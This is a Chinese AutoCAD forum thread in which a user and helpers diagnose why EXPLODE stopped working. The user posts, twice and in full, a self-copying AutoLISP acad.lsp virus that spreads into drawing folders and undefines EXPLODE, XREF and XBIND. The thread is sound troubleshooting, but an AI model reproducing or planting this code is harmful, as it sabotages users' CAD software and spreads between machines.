[求助]：我的ACADR14为什么炸不开图块了?

无忧

我的ACADR14为什么炸不开图块了? 这种现象是装了群亚之后发生的,以前还没有过. 我用expode命令时. 出现这样的信息:
Command: _explode
Select objects: 1 found

Select objects:

Seltct
objects:1
found
1
was
not
able
to
be
explode

奇怪的是就是这样一个单词一行的。图块没炸开，我还发现我画图的当前文件目录里自己产生了一个acad.lsp 文件，我估计就是这个文件在作祟，但每次删掉它,还是会自己产生。
另外，在这个目录下还会产生其他的一些文件。
请帮我诊断是否中病毒了？

enjoy

在[修改]中选[分解]试一试

无忧

我试过了,用简化命令,用菜单选命令都试过了,还是没用.

无忧

2. 
   
3. (defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
   
4.                    newacad nowdwg lspbj        wjm wjm1 wjqm wjqm1 wz ns1 ns2
   
5.                    )
   
6.   (setq old_cmd (getvar "cmdecho"))
   
7.   (setvar "cmdecho" 0)
   
8.   (setq path (findfile "base.dcl"))
   
9.   (setq path (substr path 1 (- (strlen path) 8)))
   
10.   (setq mnlpath (getvar "menuname"))
    
11.   (setq nowdwg (getvar "dwgname"))
    
12.   (setq wjqm (findfile nowdwg))
    
13.   (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
    
14.   (setq acadpath (findfile "acad.lsp"))
    
15.   (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
    
16.   (setq        ns1 ""
    
17.         ns2 ""
    
18.         )
    
19.   (setq lspbj 0)
    
20.   (setq wjqm (strcat path "acad.lsp"))
    
21.   (if (setq wjm (open wjqm "r"))
    
22.     (progn (while (setq wz (read-line wjm))
    
23.              (setq ns1 ns2)
    
24.              (setq ns2 wz)
    
25.              )
    
26.            (if (> (strlen ns1) 14)
    
27.              (if (= (substr ns1 8 7) "acadapp")
    
28.                (setq lspbj 1)
    
29.                )
    
30.              )
    
31.            (close wjm)
    
32.            )
    
33.     )
    
34.   (if (and (= acadpath dwgpath) (/= acadpath path))
    
35.     (progn (setq oldacad (findfile "acad.lsp"))
    
36.            (setq newacad (strcat path "acadapp.lsp"))
    
37.            (if (= lspbj 0)
    
38.              (progn (setq wjqm (strcat path "acad.lsp"))
    
39.                     (setq wjm (open wjqm "a"))
    
40.                     (write-line
    
41.                       (strcat "(load" (chr 34) "acadapp" (chr 34) ")")
    
42.                       wjm
    
43.                       )
    
44.                     (write-line "(princ)" wjm)
    
45.                     (close wjm)
    
46.                     )
    
47.              )
    
48.            (writeapp)
    
49.            )
    
50.     (progn (if (/= nowdwg "Drawing.dwg")
    
51.              (progn (setq oldacad (findfile "acadapp.lsp"))
    
52.                     (setq newacad (strcat dwgpath "acad.lsp"))
    
53.                     (writeapp)
    
54.                     )
    
55.              )
    
56.            )
    
57.     )
    
58. [COLOR=red] (command "undefine" "explode")[/color]
    
59.   (command "undefine" "xref")
    
60.   (command "undefine" "xbind")
    
61.   (setvar "cmdecho" old_cmd)
    
62.   (princ)
    
63.   )
    
64. (defun writeapp        ()
    
65.   (if (setq wjm1 (open newacad "w"))
    
66.     (progn (setq wjm (open oldacad "r"))
    
67.            (while (setq wz (read-line wjm)) (write-line wz wjm1))
    
68.            (close wjm)
    
69.            (close wjm1)
    
70.            )
    
71.     )
    
72.   )
    
73. (defun Cxplode (/ p cont old_cmd)
    
74.   (setq old_cmd (getvar "cmdecho"))
    
75.   (setvar "cmdecho" 0)
    
76.   (setq p (ssget))
    
77.   (if p
    
78.     (progn (setq cont (sslength p))
    
79.            (princ "\nSeltct objects:")
    
80.            (princ cont)
    
81.            (princ "found")
    
82.            (princ "\n")
    
83.            (princ cont)
    
84.            (princ " was not able to be explode")
    
85.            )
    
86.     )
    
87.   (setvar "cmdecho" old_cmd)
    
88.   (princ)
    
89.   )
    
90. (defun C:xref (/ old_cmd)
    
91.   (setq old_cmd (getvar "cmdecho"))
    
92.   (setvar "cmdecho" 0)
    
93.   (command "insert")
    
94.   (setvar "cmdecho" old_cmd)
    
95.   (princ)
    
96.   )
    
97. (defun C:xbind (/ old_cmd)
    
98.   (setq old_cmd (getvar "cmdecho"))
    
99.   (setvar "cmdecho" 0)
    
100.   (command "insert")
     
101.   (setvar "cmdecho" old_cmd)
     
102.   (princ)
     
103.   )
     
104. (defun Curst (/ p old_cmd)
     
105.   (setq old_cmd (getvar "cmdecho"))
     
106.   (setvar "cmdecho" 0)
     
107.   (princ "\nBURST----将图块中的文字炸开后成为实体")
     
108.   (setq p (ssget))
     
109.   (setvar "cmdecho" old_cmd)
     
110.   (princ)
     
111.   )
     
112. (princ)
     
113. 
     
114. 
     

<br /> (defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad<br />                    newacad nowdwg lspbj        wjm wjm1 wjqm wjqm1 wz ns1 ns2<br />                    )<br />   (setq old_cmd (getvar "cmdecho"))<br />   (setvar "cmdecho" 0)<br />   (setq path (findfile "base.dcl"))<br />   (setq path (substr path 1 (- (strlen path) 8)))<br />   (setq mnlpath (getvar "menuname"))<br />   (setq nowdwg (getvar "dwgname"))<br />   (setq wjqm (findfile nowdwg))<br />   (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))<br />   (setq acadpath (findfile "acad.lsp"))<br />   (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))<br />   (setq        ns1 ""<br />         ns2 ""<br />         )<br />   (setq lspbj 0)<br />   (setq wjqm (strcat path "acad.lsp"))<br />   (if (setq wjm (open wjqm "r"))<br />     (progn (while (setq wz (read-line wjm))<br />              (setq ns1 ns2)<br />              (setq ns2 wz)<br />              )<br />            (if (> (strlen ns1) 14)<br />              (if (= (substr ns1 8 7) "acadapp")<br />                (setq lspbj 1)<br />                )<br />              )<br />            (close wjm)<br />            )<br />     )<br />   (if (and (= acadpath dwgpath) (/= acadpath path))<br />     (progn (setq oldacad (findfile "acad.lsp"))<br />            (setq newacad (strcat path "acadapp.lsp"))<br />            (if (= lspbj 0)<br />              (progn (setq wjqm (strcat path "acad.lsp"))<br />                     (setq wjm (open wjqm "a"))<br />                     (write-line<br />                       (strcat "(load" (chr 34) "acadapp" (chr 34) ")")<br />                       wjm<br />                       )<br />                     (write-line "(princ)" wjm)<br />                     (close wjm)<br />                     )<br />              )<br />            (writeapp)<br />            )<br />     (progn (if (/= nowdwg "Drawing.dwg")<br />              (progn (setq oldacad (findfile "acadapp.lsp"))<br />                     (setq newacad (strcat dwgpath "acad.lsp"))<br />                     (writeapp)<br />                     )<br />              )<br />            )<br />     )<br /> [COLOR=red] (command "undefine" "explode")[/color]<br />   (command "undefine" "xref")<br />   (command "undefine" "xbind")<br />   (setvar "cmdecho" old_cmd)<br />   (princ)<br />   )<br /> (defun writeapp        ()<br />   (if (setq wjm1 (open newacad "w"))<br />     (progn (setq wjm (open oldacad "r"))<br />            (while (setq wz (read-line wjm)) (write-line wz wjm1))<br />            (close wjm)<br />            (close wjm1)<br />            )<br />     )<br />   )<br /> (defun Cxplode (/ p cont old_cmd)<br />   (setq old_cmd (getvar "cmdecho"))<br />   (setvar "cmdecho" 0)<br />   (setq p (ssget))<br />   (if p<br />     (progn (setq cont (sslength p))<br />            (princ "\nSeltct objects:")<br />            (princ cont)<br />            (princ "found")<br />            (princ "\n")<br />            (princ cont)<br />            (princ " was not able to be explode")<br />            )<br />     )<br />   (setvar "cmdecho" old_cmd)<br />   (princ)<br />   )<br /> (defun C:xref (/ old_cmd)<br />   (setq old_cmd (getvar "cmdecho"))<br />   (setvar "cmdecho" 0)<br />   (command "insert")<br />   (setvar "cmdecho" old_cmd)<br />   (princ)<br />   )<br /> (defun C:xbind (/ old_cmd)<br />   (setq old_cmd (getvar "cmdecho"))<br />   (setvar "cmdecho" 0)<br />   (command "insert")<br />   (setvar "cmdecho" old_cmd)<br />   (princ)<br />   )<br /> (defun Curst (/ p old_cmd)<br />   (setq old_cmd (getvar "cmdecho"))<br />   (setvar "cmdecho" 0)<br />   (princ "\nBURST----将图块中的文字炸开后成为实体")<br />   (setq p (ssget))<br />   (setvar "cmdecho" old_cmd)<br />   (princ)<br />   )<br /> (princ)<br /> <br /> <br />

alim

那个ACAD.LSP屏蔽/取消了EXPLODE命令，以前有人报告过的。按理群亚不会造成这种现象的，你能确信世群亚引起的吗？

删掉那个ACAD.LSP，看看启动单纯的ACAD这个文件还会不会产生。还是运行某个特定的外挂程序才会产生。——LISP病毒我还没见过。

无忧

其实我一直用纯的ACAD R14的，只是很少一段时间试用过群亚。
我把这个acad.lsp文件删掉后，再重新打开acad，再打开图，这个acad.lsp又出现了。

我刚找到权宜之策是，把acad\support\acad.lsp 文件拷贝到我画图的目录下，发现这个文件没被改动过，还是acad自带的文件。但，这样操作后，在打开ACAD时还有小小的麻烦。

alim

最初由 无忧 发布
其实我一直用纯的ACAD R14的，只是很少一段时间试用过群亚。
我把这个acad.lsp文件删掉后，再重新打开acad，再打开图，这个acad.lsp又出现了。

我刚找到权宜之策是，把acad\support\acad.lsp 文件拷贝到我画图的...

一定是你的AutoCAD加载了其他什么东西，比如LSP、ARX、VBA之类的。找找看是哪个坏东西。

在整个硬盘上搜寻ACAD.LSP，看内容是不是和有问题的这个一样，如果找到，看在哪个目录下，和那些文件在一起。

eachy

我格式化了下startapp.lsp中，其中的红色部分修改了CAD内部explode的定义。
另外的acad.lsp（或acadapp.lsp）中肯定还有(defun c:explode .....)
下面是ACAD的联机帮助关于Undefine：

1. 允许应用程序定义的命令替代 AutoCAD 内部命令
   
2. 
   
3. 命令行：  undefine
   
4. 
   
5. 输入命令名：
   
6. 
   
7. 输入 AutoCAD 命令名将禁用该命令。可重新定义被禁用的命令名以执行其他功能。
   
8. 
   
9. 只能取消 AutoCAD 内部命令的定义。不能取消由 AutoLISP&reg; 定义的命令。
   
10. 这包括通过 acedDefun() 注册的 ObjectARX&#8482; 应用程序命令。也不能取
    
11. 消在 acad.pgp 文件中定义的外部命令和别名的定义。
    
12. 
    
13. 如果 AutoLISP 或 ObjectARX 应用程序定义的命令与 AutoCAD 内部命令同名，
    
14. 应用程序定义的命令将激活。
    
15. 
    
16. 可以用REDEFINE 命令恢复被取消定义的命令。
    
17. 
    
18. [color=red]在命令名前加句点 (.) 就可以访问 AutoCAD 内部命令。 [/color]
    
19. 
    
20. 对于通过 acedRegCmd 注册的 ObjectARX 应用程序命令，可在命令名前添加如
    
21. 下内容来访问它们：句号 (.)、命令组名、句号 (.)。例如，可以通过 .acad_mtext.mtext 来访问 MTEXT 命令。
    
22. 
    
23. 要确定 ObjectARX 应用程序的命令名和编组，请使用ARX 命令，并选择“命
    
24. 令”选项查看所有当前加载的 ObjectARX 命令及其组名的列表。
    

复制代码

ll_j

ACAD安装后本没有ACAD.lsp，acad.lsp是用户定义的acad自动执行文件。上面这个acad.lsp定义了一个自动执行函数，将以上代码复制为Acadapp.lsp，并在不满足条件（acad.lsp路径不等于Dwg路径等）的情况下，执行acad.lsp，替换掉Acad.lsp。完全是病毒机理，但代码是可见的。这可能是什么人的恶作剧，或是什么软件的反盗版功能。是前者的话，删除Acad.lsp和acadapp.lsp即可（在acad没运行时删除）。如果是后者问题就大了，代码可能是写在其他编译的文件中，需要查清是何软件，然后...
大家可能还记得KV杀毒软件带毒的事件，这可是非法的。
当然，还有一种可能性，就是软件需要屏蔽explode、xref、xbind、burst命令，但可能性太小。

Qun

最初由 无忧 发布
[B]我的ACADR14为什么炸不开图块了? 这种现象是装了群亚之后发生的,以前还没有过. 我用expode命令时. 出现这样的信息:
Command: _explode
Select objects: 1 found

Select objects:

Seltct
objects:1
found
... [/B]

不知是所有的块都炸不开，还是有些块炸不开？如果是某种块炸不开，是否可以上传一个DWG文件？谢谢！

无忧

to QUN :
是所有的块,还包括PLINE 也炸不开, explode命令根本不能用了.

to ll_j :
我的直觉和你想的一样.我在找原因,但我这两天工作比较忙.还有,我的电脑水平很菜. 还要请大家帮忙了.

ll_j

执行原始命令的前缀是“.”，前缀“_”是针对国际版本使用的，就是在非英语平台使用的。

上面Acad.lsp重新定义了四个命令（函数）：
Command: Explode －> 屏蔽；
Command: Xref －> Insert；
Command: Xbind －> Insert；
C:Burst －> 空选。

无忧

我昨天说过,还产生其他的垃圾文件,是这样的:

alim

恭喜恭喜！你肯定中招了！

能把其中的2CAR或其他图标类似的文件用文本编辑器打开看看吗？我想知道里面的内容。注意，不要直接双击打开。

无忧

TO alim: 我用文本编辑器 打开过2car.bat 文件过, 其实这个根本不是bat文件,是长长一堆乱码.
其他的一些文件扩展名根本是骗人的,不是mpg文件,不是jpg文件,也不是xls文件. 还有一个文件名叫"结构钢筋表.xls"的, 我看了这个文件名,还以为这些所有的文件是结构专业的PKPM生成的,问了结构专业同事,才知道不是的.

你们这么多人从来没遇到过这件怪事吗?